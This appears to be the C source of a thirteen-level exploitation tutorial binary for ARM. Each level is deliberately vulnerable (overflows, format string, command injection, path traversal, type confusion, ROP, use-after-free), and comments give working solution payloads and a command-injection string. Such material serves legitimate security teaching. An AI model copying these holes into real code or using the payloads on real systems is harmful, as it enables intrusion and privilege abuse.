/*
    Very vulnerable code, for exploitation tutorials
    (c) B.Kerler 2018
    MIT license
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

char passwds[][13]=
{
		"hello",
		"help",
		"Velvet",
		"mysecret",
		"freedom",
		"happyness",
		"mypony",
		"Exploiter",
		"Gimme",
		"Fun",
        "Violet",
        "ropeme",
        "Magic"
};

/* LEVEL 13 */
struct mapping
{
    char name[64];
    void (*function)();
    void (*destroy)();
};

char runcmd[512]={0};

void run()
{
    if (runcmd==0)
    {
        printf("No valid command set up.\n");
        exit(0);
    }
    system(runcmd);
}

void destroy()
{
    printf("Mapping destroyed.\n");
}

struct mapping *mappingptr;

void destroymapping()
{
    if (mappingptr)
    {
        mappingptr->destroy();
    }
    free(mappingptr);
}

void new_mapping()
{
    char name[]="mymapping";
    mappingptr = (mapping*)malloc(256);
    strncpy(mappingptr->name,name,64);
    mappingptr->function=run;
    mappingptr->destroy=destroy;
    printf("Mapping created.\n");
}

void fillmapping(char* data)
{
    void* cmdbuffer=malloc(512);
    memcpy(cmdbuffer,data,128);
    printf("Command buffer set as %s\n",(char*)cmdbuffer);
    memcpy(runcmd,cmdbuffer,512);
}

int use_after_free(char* options, char* arg)
{
    char* optptr=options;
    int flag=0;
    int i=0;
    int total=strlen(options);    
    for (i=total;i>0;i--)
    {
        flag=((int)optptr[total-i])-0x30;
        printf("\nFlag : %d\n",flag);
        if (flag==0)
        {
            printf("Creating new mapping.\n");
            new_mapping();
        }
        else if (flag==1)
        {
            destroymapping();
        }
        else if (flag==2)
        {
            if (mappingptr)
            {
                mappingptr->function();
            }
        }
        else if (flag==3)
        {
            fillmapping(arg);
        }
        else
        {
            printf("\nInvalid flag.\n");
        }
    }
    return 0;   
}

void level12password()
{
    printf("\nLevel 12 passed. Well done !\n");
    exit(0);
}
/* End of LEVEL 13 */
//Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit Magic 0132 `python -c "print('A'*64+'\xbc\x0c\x01\x00')"`

/* LEVEL 12 */

void printme(char* arg, int flag)
{
	char buffer[60]={0};
    memcpy(buffer,arg,0x60);
    printf("Flag: %08x, You entered: %s\n",flag,buffer);
}

int rop(char * arg)
{
	int flag=0x1234;	
    printme(arg,flag);
    if (flag==0x5678)
    {
        printf("\nLevel 12 Password: \"%s\"\n",passwds[12]);
        exit(0);
    }
	return 0;
}
/* End of LEVEL 12 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit ropeme `python -c "print('A'*60+'\xBE\xBA\xFE\xCA'+'\xf8\x16\x01\x00'+'000011112222\x78\x56\x00\x00\x60\x0d\x01\x00')"`
// Rop structure : [buffer size] [trash] [ptr to gadget pop{r0,r1,r2,r3,pc}] [r0,r1,r2,r3,pc] where pc is where r2 get loaded and then compared to r3

/* LEVEL 11 */
int path_traversal(char *path)
{
	char *buffer = (char*)malloc(sizeof(char)*(strlen("ls ") + strlen(path)));
	strcpy(buffer, "ls ");
	strcat(buffer, path);
	setresuid(geteuid(), geteuid(), geteuid());
	if (!(strncmp(path,"dir1/dir2",strlen("dir1/dir2"))==0) && !(strncmp(path,"./dir1/dir2",strlen("./dir1/dir2"))==0))
	{
	  printf("Only directory ./dir1/dir2/ and subdirectories may be listed!\n");
	  exit(0);
	}

	system(buffer); //Let's run something other than man, shall we ?
	
        if (!strncmp(path,"dir1/dir2/../..",strlen("dir1/dir2/../..")) || !strncmp(path,"./dir1/dir2/../..",strlen("./dir1/dir2/../..")))
	{
	  printf("\nLevel 12 Password: \"%s\"\n",passwds[11]);
	}
	free(buffer);
	return 0;
}
/* End of LEVEL 11 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit Violet dir1/dir2/../../

/* LEVEL 10 */
int cmd_inject(int argc, char *argv[])
{
	char *buffer = (char*)malloc(sizeof(char)*(strlen("man ") + strlen(argv[2])));
	strcpy(buffer, "man ");
	strcat(buffer, argv[2]);
	setresuid(geteuid(), geteuid(), geteuid());
	system(buffer); //Let's run something other than man, shall we ?
        if (strchr(buffer,';')!=NULL)
	{
	  printf("\nLevel 11 Password: \"%s\"\n",passwds[10]);
	}
	free(buffer);
	return 0;
}
/* End of LEVEL 10 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit Fun "aaa ; ls"

/* LEVEL 9 */
int nullify(unsigned int addr, int option)
{
    int important=1;
    int *ptr = &important;
    *ptr=2;    
    
    unsigned int *addrptr=(unsigned int*)addr;
    if (option==1)
    {
        *addrptr=0;
    }
    printf("Address: %08X, Important ptr: %08X, Important value: %d\n",addr,&important,important);

    if (important==0)
    {
        printf("Level 10 Password: \"%s\"\n",passwds[9]);
    }
    return 0;
}
/* End of LEVEL 9 */
// Solution : qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit Gimme 0xF6FFF304 1
// 0xF6FF304 is Important ptr

/* LEVEL 8 */
class Root {};

class Msg : public Root
{
    public:
        virtual void msg(const char *strng)
        {
            printf("Level 9 Password: \"%s\", welcome %s\n",passwds[8],strng);
        }
};

class Run : public Root
{
    public:
        virtual void run(const char *cmd)
        {
            system(cmd);
        }
};

int type_confusion(char* arg)
{
    Root *b = new Msg();
    Root *a = new Run();
    Run *g;
    g = static_cast<Run*>(a); //What happens if a is b instead ? :D
    printf("Current b ptr: %p\n",b);    
    char tmp[64] = {'\0'};
    int flag=0;
    strcpy(tmp,arg);
    g->run(tmp);
    delete(a);
    delete(b);
    return 0;
}
/* End of LEVEL 8 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit Exploiter `python -c "print('A'*76+'\x10\x8f\x02\x00')"`
// 0x028f10 is the pointer of b, not the cleanest solution....

/* LEVEL 7 */
int heap_overflow(char* text)
{
	char buffer2[32] = "Change me!"; // Heap overflow may overwrite this text
	char buffer[8] = {'\0'};
    

	int i;
	strcpy(buffer, text);
	buffer[strlen(text)]='\0';
	if (strcmp(buffer2, "password"))
	{
        printf("Buffer:%s\n",buffer);
        printf("Buffer2:%s, isn't \"password\"\n",buffer2);
		return 0;
	}

    printf("Level 8 Password: \"%s\"\n",passwds[7]);
	return 1;
}
/* End of LEVEL 7 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit mypony `python -c "print('12345678password\x00')"`

/* LEVEL 6 */
int format_string(char* input)
{
	char buffer[100];
	int magic=42;
	snprintf(buffer, sizeof(buffer),input);
	buffer[sizeof(buffer)-1]=0;

	printf("buffer (%d): %s\n",strlen(buffer),buffer);
	printf("magic is %d/%#x (@ %p)\n",magic, magic, &magic);

	if (magic == 1353) //Format string vulnerability might help changing the magic :)
	{
		printf("Level 7 Password: \"%s\"\n",passwds[6]);
	}
	
	return 0;
}
/* End of LEVEL 6 */
//Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit happyness `python -c "print ('\xa8\xf2\xff\xf6%08x%08x%08x%1325d%n')"`
//0xf6fff2a8 points to magic_value in stack, 1325 has to be adjusted to match 1353

/* LEVEL 5 */
unsigned int secret=0x1337;

int stack_cookie(char * arg)
{
	unsigned int stack_cookie = secret;
	char flag[1] ={0};	
	char tmp[64] = {'\0'};
	
    strcpy(tmp,arg);

	if (stack_cookie != secret)
	{
		printf("Error: Stack corrupted !");
		exit(1);
	}
    
	printf("Running normally\n");
    if (flag[0]==1)    // Change the flag through buffer overflow, but mind the stack cookie !
    {
        printf("Level 6 Password: \"%s\"\n",passwds[5]);
    }
	return 1;
}
/* End of LEVEL 5 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit freedom `python -c "print('A'*64+'\x01\x00\x00\x00'*4+'\x37\x13\x00\x00')"`

/* LEVEL 4 */
void level5password()
{
	printf("Level 5 Password: \"%s\"\n",passwds[4]);
}

int off_by_one(char * arg)
{
	#pragma pack(push,1)
	char flag[1]={1};	
	char buffer[256];
	#pragma pack(pop)
	if (strlen(arg)>256)
	{
		printf("Length higher 256 not allowed !\n");
		exit(1);
	}
	strcpy(buffer,arg);
    if (flag[0]==0)
    {
        level5password();
    }
	return 0;
}
/* End of LEVEL 4 */
// qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit mysecret `python -c "print('A'*0x100+'\x00')"`

/* LEVEL 3 */
void level4password()
{
	printf("Level 4 Password: \"%s\"\n",passwds[3]);
	return;
}

void array_overflow(int position, int value)
{
	int array[32];
	array[position]=value;
	printf("filling array position %d with %d\n", position, value);
	return;
}
/* End of LEVEL 3 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit Velvet 33 `python -c "print('%d' % 0x00011440)"`
// 0x00011440 points to start of level4password

/* LEVEL 2 */
void level3password()
{
	printf("Level 3 Password: \"%s\"\n",passwds[2]);
	return;
}

int stack_overflow(char* username, char* password)
{
    char buffer[8] = {"\0"};
    char admin_user[]="admin";
    char admin_pass[]="funny";
	
	int i;
	strcpy(buffer, username);
	buffer[strlen(admin_user)]='\0';
	if (strcmp(buffer, admin_user))
	{
        printf("Login failed\n");
		return 0;
	}

	strcpy(buffer, password);
	buffer[strlen(admin_pass)]='\0';
	if (strcmp(buffer, admin_pass))
	{
        printf("Login failed\n");
		return 0;
	}
	printf("Login succeeded, but still you failed :P\n");
	return 1;
}
/* End of LEVEL 2 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit help admin `python -c "print('aaaabbbbcccc\xb0\x14\x01\x00')"`
// 0x000114b0 points to start of level3password

/* LEVEL 1 */
int int_overflow(char* value)
{
    unsigned short number;
    int i = atoi(value);
	unsigned int h=i;
    if (h<=0)
    {
        printf("Value less or equal 0 is not allowed.\n");
        exit(0);
    }
    number=i;
    
    if (number!=0)
    {
        printf("Value %d defined.\n",number);
        exit(0);
    }

    if (i<0 || number==0) // Two ways of overflow possible ... int AND short :)
    {
        printf("Level 2 Password: \"%s\"\n",passwds[1]);
    }
return 0;
}
/* End of LEVEL 1 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit hello 65536
// 65536 or any value higher 134217728

void ropgadgetstore() // Useful for rop practice
{
    __asm__("str r0, [r1]");
}

void ropgadgetstack() // Useful for rop practice
{
    __asm__("pop {r0,r1,r2,r3,pc}");
}

int main(int argc, char *argv[])
{
	if (argc < 2)
	{
		printf("usage: %s <level_password> <arg1> <arg2>\n", argv[0]);
        	printf("Level1 Password=\"hello\"\n");
		exit(0);
	}
    
    int level=0;
    if (argc>=2)
    {
        if (!strcmp(argv[1],passwds[0]))
        {
            if (argc < 3)
	        {
		         printf("usage: %s hello <value>\n", argv[0]);
		         exit(0);
	        }
            setresuid(geteuid(),geteuid(),geteuid());
            int_overflow(argv[2]);
            exit(0);
        }
        else
        if (!strcmp(argv[1],passwds[1]))
        {
            if ((argc < 4))
	        {
		         printf("usage: %s %s <username> <password>\n", argv[0],passwds[1]);
		         exit(0);
	        }
            setresuid(geteuid(),geteuid(),geteuid());
            stack_overflow(argv[2],argv[3]);
            exit(0);
        }
        else
        if (!strcmp(argv[1],passwds[2]))
        {
            if ((argc < 4))
	        {
		         printf("usage: %s %s <arraypos> <value>\n", argv[0],passwds[2]);
		         exit(0);
	        }
            setresuid(geteuid(),geteuid(),geteuid());
	        array_overflow(atoi(argv[2]), atoi(argv[3]));
            exit(0);
        }
        else
        if (!strcmp(argv[1],passwds[3]))
        {
            if ((argc < 3))
	        {
		         printf("usage: %s %s <magic>\n", argv[0],passwds[3]);
		         exit(0);
	        }
            setresuid(geteuid(),geteuid(),geteuid());
	        off_by_one(argv[2]);
            exit(0);
        }
        else
        if (!strcmp(argv[1],passwds[4]))
        {
            if ((argc < 3))
	        {
		         printf("usage: %s %s <magic>\n", argv[0],passwds[4]);
		         exit(0);
	        }
            setresuid(geteuid(),geteuid(),geteuid());
	        stack_cookie(argv[2]);
            exit(0);
        }
        else
        if (!strcmp(argv[1],passwds[5]))
        {
            if ((argc < 3))
	        {
		         printf("usage: %s %s <string>\n", argv[0],passwds[5]);
		         exit(0);
	        }
            setresuid(geteuid(),geteuid(),geteuid());
	        format_string(argv[2]);
            exit(0);
        }
        else
        if (!strcmp(argv[1],passwds[6]))
        {
            if ((argc < 3))
	        {
		         printf("usage: %s %s <text>\n", argv[0],passwds[6]);
		         exit(0);
	        }
            setresuid(geteuid(),geteuid(),geteuid());
	        heap_overflow(argv[2]);
            exit(0);
        }
        else
        if (!strcmp(argv[1],passwds[7]))
        {
            if ((argc < 3))
	        {
		         printf("usage: %s %s <cmd>\n", argv[0],passwds[7]);
		         exit(0);
	        }
            setresuid(geteuid(),geteuid(),geteuid());
	    type_confusion(argv[2]);
            exit(0);
        }
        else
        if (!strcmp(argv[1],passwds[8]))
        {
            if ((argc < 4))
	        {
		         printf("usage: %s %s <addr> <flag>\n", argv[0],passwds[8]);
		         exit(0);
	        }
            setresuid(geteuid(),geteuid(),geteuid());
	        nullify(strtoul(argv[2],0,16),atoi(argv[3]));
            exit(0);
        }
	else
        if (!strcmp(argv[1],passwds[9]))
        {
                if ((argc < 3) || (strlen(argv[2]) > 42 ))
	            {
		             printf("usage: %s %s <program>\n", argv[0],passwds[9]);
		             exit(0);
	            }
                setresuid(geteuid(),geteuid(),geteuid());
                cmd_inject(argc,argv);
                exit(0);
        }
	else	
	if (!strcmp(argv[1],passwds[10]))
        {
                if  (argc < 3)
	            {
		        printf("usage: %s %s <path>\n", argv[0],passwds[10]);
		        exit(0);
	            }
                setresuid(geteuid(),geteuid(),geteuid());
                path_traversal(argv[2]);
                exit(0);
        }
    else
    if (!strcmp(argv[1],passwds[11]))
        {
                if  (argc < 3)
	            {
		        printf("usage: %s %s <arg>\n", argv[0],passwds[11]);
		        exit(0);
	            }
                setresuid(geteuid(),geteuid(),geteuid());
                rop(argv[2]);
                exit(0);
        }
    else
    if (!strcmp(argv[1],passwds[12]))
        {
                if  (argc < 4)
	            {
		        printf("usage: %s %s <options> <cmd>\n", argv[0],passwds[12]);
                printf("loopable options are \"0\"=new mapped device, \"1\"=destroy mapped device, \"2\"=run device command,  \"3\"=setup device command\n"); 
		        exit(0);
	            }
                setresuid(geteuid(),geteuid(),geteuid());
                use_after_free(argv[2],argv[3]);
                exit(0);
        }
    }
    else printf("Unknown level password given or invalid options.\n");
    exit(0);
    ropgadgetstore();
    ropgadgetstack();
}


